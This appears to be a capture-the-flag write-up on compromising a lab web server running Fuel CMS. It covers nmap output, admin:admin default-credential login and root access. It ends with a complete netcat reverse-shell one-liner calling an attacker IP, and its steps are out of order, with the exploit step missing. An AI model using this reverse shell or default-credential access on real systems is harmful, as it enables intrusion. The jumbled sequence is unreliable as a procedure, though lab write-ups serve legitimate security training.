A new start-up has a few issues with their web server.
1.Reconnaisance
1.1 Nmap
Using nmap to scan and identify open ports and services
nmap -sC -sV -Pn 10.10.175.187 ✘ INT
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 18:08 IST
Nmap scan report for 10.10.175.187
Host is up (0.16s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to FUEL CMS
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.06 seconds
We find open port 80 running http server with a webpage buit with Fuel CMS
2. Enumeration
Viewing the webpage, we see a path /fuel and the default credentials to access it.
Going over to /fuel, we are greeted with a login page.
Default credential, admin : admin, gives us access to the dashboard.
Looking around, we find ourselves in a dead end
3. Gaining Access
3.1 Searchsploit
Searching the exploid-db for any known exploit using searchsploit
www-data@ubuntu:/var/www/html/fuel/application/config$ su
Password:
root@ubuntu:/var/www/html/fuel/application/config cd /root/
root@ubuntu:~ cat root.txt
Setting up a reverse shell, using rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.66.165 4242 >/tmp/f from with a netcat listener